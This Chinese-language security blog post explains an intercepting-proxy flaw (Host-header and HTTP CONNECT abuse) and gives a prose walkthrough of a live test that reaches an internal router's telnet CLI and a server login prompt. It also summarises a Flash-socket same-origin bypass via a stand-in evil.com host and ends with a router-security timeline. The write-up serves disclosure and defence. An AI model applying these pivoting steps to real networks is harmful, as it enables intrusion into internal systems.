Dan在文中也表示,在這個研究中,他與Paypal的Robert Auger合作密切。其實這次CERT的警告,最相關的就是Kaminsky的這篇研究以及Rober Auger於同一天(三月9日)公佈的paper:「Socket Capable Browser Plugins Result In Transparent Proxy Abuse(支援socket的瀏覽器外掛會導致代理伺服器之濫用)」,其中用了很具體並圖文並茂的例子,說明了CERT提及的弱點,在何種情況下可以被攻擊者利用。

Kaminsky的討論比較針對使用DPI(deep packet inspection)的設備,如防火牆與IPS等。要能在網路上偵測出這些設備的存在,目前並無太多現成的工具,但是Kiminsky的paper中給了許多不錯的方法。CERT與Auger的報告則以討論代理伺服器為主,代理伺服器的存在一般比較容易看得出來,我們就用實際的例子來說明。從我家到www.ebay.com中間,存在著攔截式代理伺服器(大家別討論屬於哪家ISP的,這不是重點,我們這邊只講技術)。如何證明?用ICMP與TCP SYN做traceroute,可以看出明顯的差別,來看看實際的測試。在以下的真實測試中,我們會示範如何藉由攔截式代理伺服器的漏洞,取得路由器與其他內網伺服器的管理介面與登入prompt。首先,我們發現我們在某位置(不在台灣),www.ebay.com對應了五個IP:
圖1--ebay對應五個IP

但是不論採哪個IP,UDP的traceroute結果大概都差不多:
圖2--UDP traceroute

那麼TCP traceroute在port 25上呢?也差不多:
圖3--TCP port 25 traceroute

可是TCP traceroute在port 80就不一樣了:
圖4--TCP port 80 traceroute

用nmap的tcp traceroute功能跑一下nmap,也是差不多的結果:
圖5--nmap -sS --traceroute

很明顯有攔截式proxy位於此路徑上,其作用很可能是加速使用者對於www.ebay.com的存取,以及節省長途的流量。我們用CERT公佈的方法測試一下,發現該路徑上有proxy有弱點,導致攻擊者可以利用該proxy連線至任意其他網站。該路徑上之proxy不只一台,有些沒有弱點,但是有些有。以下我們讓該proxy連到www.google.com.tw:
圖6--利用 GET HTTP/1.1與Host:之攻擊

這個攻擊非常簡單,也很容易了解。我們明明是連往www.ebay.com的port 80,但是因為我們心裡知道,接受連接的是一台proxy,所以我們就在【Host:】欄位,改填了"www.google.com.tw",而結果該proxy在我們的操作下,往google連去了。很多攔截式proxy都會攔截多個網站,所以在判斷往往不從連線的目的IP來看,而從HTTP request中的【Host:】欄位來看(也就是從L7來看而非從L4來看)。其實這是很直覺也很合理的設計,並且要修正也不容易。為何不容易修正?我們來看看一個很常見的網路架構(topology):


從上圖可以看出,不容易修正的原因包括如下:
1. proxy前端如果是具有WCCP功能的路由器在負責攔截port 80的流量給proxy,那proxy可以知道使用者的IP封包原本希望連哪裡,但是很多時候是L4/L7的switch在負責攔截,這個時候就不一定了,另外proxy也很有可能串接好幾台,那麼通常除了第一台知道以外,之後的都得靠【Host:】欄位。
2. 即使有IP目的地資訊,大的網站,大部分都是一個網址對應很多IP,如果根據當初要連往的IP而非【Host:】欄位,那可能減少快取(cache)的hit rate,除非要有辦法知道,哪些IP是屬於哪些網站的,但是由於此對應關係屬動態,故在proxy端不容易分析清楚。
3. 從IP來看究竟是要連往那個網站,如果用DNS反查,則可能會因為各地DNS之不同(proxy所用之DNS與使用者所用之DNS不同),而導致無法正確判斷使用者所想要連往的網站。這中間所消耗的時間也是另一個問題。

但是這樣一個弱點,就讓此「代理www.ebay.com之攔截式伺服器」,有效的變成了「公開的匿名伺服器」,根據CERT、Auger、與Kaminsky的報告,可以被利用來掃瞄或入侵內網,click fraud攻擊,發送垃圾信以及當作跳板等。這種弱點一般算是設備的弱點,而非設定上的弱點,但是同常也可以用設定來彌補。我們用古老的方法讓該proxy自首一下,到底是哪家的設備:

圖7--用古法之一來辨認設備廠商

辨認出來是一台CacheFlow。CacheFlow早於2002年就被BlueCoat併購了。早在2003年(被併購之後),Tim Kennedy就於Bugtraq公佈了該設備的類似弱點的了(BID 8584):CacheFlow CacheOS HTTP HOST Proxy Vulnerability,當時Kennedy用的範例是利用該proxy發垃圾信。根據Bugtraq,廠商一直並未修復此弱點。再翻一下,更早在2002年,就有類似但更嚴重的弱點(BID 4143):CacheFlow CacheOS HTTP CONNECT TCP Tunnel Vulnerability,原來也可以利用HTTP CONNECT來讓該設備連往任意網站之任意port。該報告說,解決方法是CacheOS(CacheFlow的平台)5.0版,已經將出廠值設為CONNECT只能連往port 443。電信等級設備特色是,超級穩定耐操壽命又長,但是通常更新不易,所以很多弱點的壽命也都很長。

其實我記得這些網路層的攻擊在2002年左右是高峰。一直往上爬就沒有所謂「高峰」,要有往下掉才有「高峰」--事實上正是如此,2002年後,SQL injection / XSS這些變得非常紅,大家的注意力也就從網路層的威脅慢慢轉移了。其實威脅一直存在,也一直被利用,只是不是媒體的焦點罷了。此類proxy弱點於bugtraq上有一篇很著名的,一篇打死近所有廠商的(2002年,BID 4131):Multiple Vendor HTTP CONNECT TCP Tunnel Vulnerability(看看下面廠商清單有多長),與今年(2009)二月底的CERT報告,講的其實是差不多的事情,只是過了七年,路徑安全又在今年受到了重視,所以CERT等於重講了一次。在CERT報告中我們可以看出,BlueCoat於1月被通知,並已經於3月4日終於修改了這個七歲以上的已知漏洞。不過置於外那麼多超級強壯可以活10-20年的設備何時會真的被更新,就很難說了。既然有HTTP/1.0漏洞以及HTTP/1.0 CONNECT漏洞,我們也順便測試一下,該位於我們與ebay之間的CacheFlow,是否有類似弱點。我們先測HTTP/1.0漏洞:
圖8--HTTP/1.0漏洞

測試結果是漏洞存在,可以用HTTP/1.0指令讓該proxy連到www.google.com.tw。那麼CONNECT呢?
圖9--HTTP CONNECT www.google.com.tw成功

答案是肯定的,HTTP CONNECT也可以成功。那麼會不會是沒有真的連線,而只是剛好該proxy也暫存google的網頁呢?那我們測試叫他連到www.armorize.com好了,結果也成功,立刻連過來了:
圖10--HTTP CONNECT www.armorize.com成功

通常大家看到攔截式proxy可以bounce,直覺可以被駭客利用的就是打內網,或這次Auger提到的繞過same origin policy(相同來源政策)等。其實有一個應用是常被忽略的:如果攔截式proxy可以bounce,就會透露該proxy對外的IP。當然剛才該proxy已經連到我們網站過了,所以看log就可以看到IP,但更快的是,讓它連到像http://www.ipaddressworld.com這種會回報訪問者IP的網站,這樣就得到了該proxy對外的IP:

圖11--取得對外IP

我們連往該IP,果然看到了CacheFlow的管理頁面,上面有該設備的型號,內網IP,MAC硬體位置與OS序號等資訊。
圖12--對外的管理介面

最後的問題是,這一台CacheFlow(暫稱A),與位於我們與ebay中間的那一台(暫稱B),是同一台嗎?因為有可能是B攔截後,發現cache miss,於是串接A,讓A去取資料。由於圖12中我們可以看到A的內網位置,於是我們透過B的弱點,讓B透過內網連線A,發現是相通的,但是這只能確定,A與B其卻透過該內網相通,但是否A與B就是同一台,我們認為極有可能,但無法確定。
圖13--外網連內網

恩,連到內網了,由於圖12中的對外管理介面,讓我們得知了內網的IP,我們也於圖13中,證明了可以經過該漏洞,從外網連到內網。那是否可以連到路由器呢?一般路由器的IP都是設成.254,然後管理介面設在port 23(telnet)吧?那我們演練看看好了:
圖14--外網連內網,最後連進路由器


故事說到這,其實已經從外網連到內網,然後連到路由器的CLI介面了。當然這不算是有弱點,因為我們沒有密碼,但是這示範了最近SANS/CERT/Kaminsky/Auger在講的威脅。那麼再繼續看呢?試一試.253好了,結果.253是一台伺服器,login畫面出來了:
圖15--外網連內網,取得login畫面


這個攻擊很古老,但是為何CERT、Kaminsky、Auger等人又在最近重提呢?原因有二,第一,最近路徑上的威脅倍增,大家重視;第二,Kaminsky與Auger有效地提出了該弱點如何可以被利用。我們拿Auger報告中的圖來做說明:
圖16--Auger的說明(thesecuritypractice.com

Auger主要假設使用者瀏覽了一個被掛馬的網站,其中惡意iframe指向www.evil.com。此時第一步,使用者機器連往DNS,詢問出www.evil.com的IP為1.1.1.1。第二步,使用者連往www.evil.com,www.evil.com丟給使用者一個flash。此flash有權力開socket連回www.evil.com,於是第三步,flash先詢問www.evil.com是否可以開socket連回(flash保護機制Security.loadPolicyFile())。第四步,flash開socket連回www.evil.com,但是由於socket開在port 80內容也為標準HTTP GET封包,故連線被中間的proxy攔截。步驟五,由於封包中之【Host:】欄位並非指定www.evil.com而是指定www.site.com(該proxy之弱點),該proxy向DNS詢問www.site.com之IP,並於步驟6連往。此時,瀏覽器上之same origin policy(相同來源政策)就被成功的繞過了。

最後我們還是要特別強調,測試之環境不在台灣,我們也已經通知對方,對方也把問題修復了。希望這些技術面的討論,對大家有幫助。

路徑安全大事一覽表:
2003/07/30Black Hat US 2003,FX(Phenoelit的leader Felix)發表:「更多有弱點之嵌入式系統(More vulnerable embedded systems)」(投影片
2003/10/01Black Hat Federa 2003,FX發表:「Cisco弱點--過去,今天與未來(Cisco Vulnerabilities - Yesterday, Today and Tomorrow)」(投影片
2005/07/27Michael Lynn於Black Hat 2005上發表:「聖杯:CISCO IOS shellcode 以及攻擊技巧」(這裡這裡有人公布投影片),遭Cisco沒收大會所有講義與CD(這裡有人公開當初撕書與沒收CD的錄影
2007/07/22Black Hat / DEFCON主席Jeff在DEFCON 2007,講了Lynn&Cisco整段事件(影片在這裡),並說當時Michael卡住,結果:他在「一個中文的論壇上找到了答案,已經有中國人先研究出來了,於是他翻譯了內容,並有了突破」。
2007/09/26專門駭入路由器偷VoIP頻寬之駭客Robert Moore被判刑,他駭入了15家電信業者,並說:「太容易了,野人都會」
2008/05/15The Register: 路由器rootkit上演,網路將被操控(Rootkits on routers threat to be demoed--Networks own3d)
2008/05/17Cisco官方強化IOS設備手冊 (Cisco Guide to Harden Cisco IOS Devices)(此乃針對以下之演講發表)
2008/05/19台灣Digitimes:可入侵思科路由器的Rootkit軟近期內將公開亮相
2008/05/21EUSecWest 2008--Core的研究員Ariel Futoransky: Cisco IOS rootkit解密:正宗IOS Rootkit(Killing the myth of Cisco IOS rootkits:DIK Ios rootKit)(PDF paper 下載
2008/05/23中国IT实验室:Rootkit兵临城下 思科忙为路由器打补丁
2008/05/26网界网:思科发布路由器补丁程序,但忧虑仍在
2008/06/08IDG: Cisco路由器又在駭客聚光燈下(Cisco routers again take hacker spotlight)
2008/08/02Black Hat 2008 一共三場關於路由器安全之演講
2008/08/06Gyan Chawdhary與Varun Uppal發表:「Cisco IOS shellcode與後門(Cisco IOS Shellcodes/Backdoors)」(講義下載
2008/08/07Core的研究員Ariel Futoransky--「Viral Infections in Cisco IOS(病毒式感染Cisco IOS)」(投影片
2008/08/07FX發表:isco IOS鑑識的近期發展(Developments in Cisco IOS Forensics)(講義下載
2008/08/13中国IT实验室:全球黑客聚会黑帽大会 Cisco路由器再成热点话题
2008/08/21Andy Davis發表:「跨版本Cisco IOSshellcode(Version-independent IOS shellcode)」
2008/09/30ISC2(推出CISSP認證的組織)blog:網路上最弱的一環是路由器。太多設定不好的路由器了。(連結
2008/12/3025c3 Conference,FX發表:「Cisco IOS--攻擊與防禦,當今最高水平(Cisco IOS--Attack & Defence, the State of the Art)」(投影片在這)(錄影在這裡
2009/01/11Terry Baume:「Netcomm NB5路由器僵屍網路(Netcomm NB5 Botnet–PSYB0T 2.5L)」。
2009/02/23CERT針對代理伺服器發出警訊:「Intercepting proxy servers may incorrectly rely on HTTP headers to make connections
2009/03/09Rober Auger公佈paper:「支援socket的瀏覽器外掛會導致代理伺服器之濫用(Socket Capable Browser Plugins Result In Transparent Proxy Abuse)」,說明了CERT提及的弱點,在何種情況下可以被攻擊者利用。
2009/03/09Dan Kaminskyblog上表示今年在CanSecWest 2009上會講關於路徑安全之主題:「Staring Into The Abyss」(WORD下載PDF下載
2009/03/09SANS針對二月時CERT之警訊以及三月時Kaminsky與Auger的研究發出警告:「Browser plug-ins, transparent proxies and same origin policies」
2009/03/12Cisco警告:「亞洲某些區域出現流量綁架,可能是non-blind TCP spoofing或其他種類攻擊,tw.msn.com與taiwan.cnet.com受影響」(連結
2009/03/22DroneBL發表:「網路藍色藥丸:隱形路由器僵屍網路過去幾星期以DDoS攻擊DroneBL(Network Bluepill - stealth router-based botnet has been DDoSing dronebl for the last couple of weeks)」,敘述了NetComm NB5路由器被感染並成為僵屍網路一員的整個過程
2009/03/23ZDNet的Zero Day blog發表:「隱形路由器botnet蠕蟲散播(Stealthy router-based botnet worm squirming)
2009/03/24SANS警告:「PSYB0T:mipsel設備之IRC Bot(PSYB0T: A MIPS-device (mipsel) IRC Bot )
2009/03/24The Register:「蠕蟲透過家用路由器與modem養botnet,超過100,000台遭入侵(Worm breeds botnet from home routers, modems--More than 100,000 hosts invaded)
2009/03/24Dark Reading:「路由器以往是被視為比較不會遭受惡意程式攻擊的,僵屍網路以往則針對個人電腦跟伺服器,但現在不同了。(Routers traditionally have been considered relatively immune to malware and attacks, and botnets traditionally used PCs and servers.)
2009/03/24Dark Reading長篇大論地討論了路由器的安全:「破解路由器修補之謎(Hacking The Router Patching Conundrum)
2009/03/25Cisco發出了advisory,集合了8篇advisory,一次公佈了8個CISCO IOS的弱點,並提供更新程式下載
2009/03/25SANS警告:「Cisco釋出IOS弱點修正集合(Cisco Releases IOS Bundle of Vulnerabilities)
2009/03/30SANS發佈警訊,標題是「小心你的路由器!(Watch your Internet routers!),詳細介紹了前幾天某台Cisco被入侵的過程:不到五分鐘,駭客已經建好tunnel回家了


作者 Fyodor Yarochkin 為 o0o.nu 成員
作者 Wayne 為 阿碼科技CEO

相關系列文章:
2009/03/08 「大規模網頁綁架轉址:威脅未解除,但專家都猜錯了
2009/03/12 「大規模網頁綁架轉址之水落石出篇
2009/03/13 「回答IP Spoofing 的問題
2009/03/15 「從大規模轉址事件看IP spoofing、ARP spoofing、ARP掛馬與路徑(route)安全
2009/03/27 「網路藍色藥丸?首支攻擊路由器之蠕蟲出現:再談路徑之安全性


繼續閱讀全文...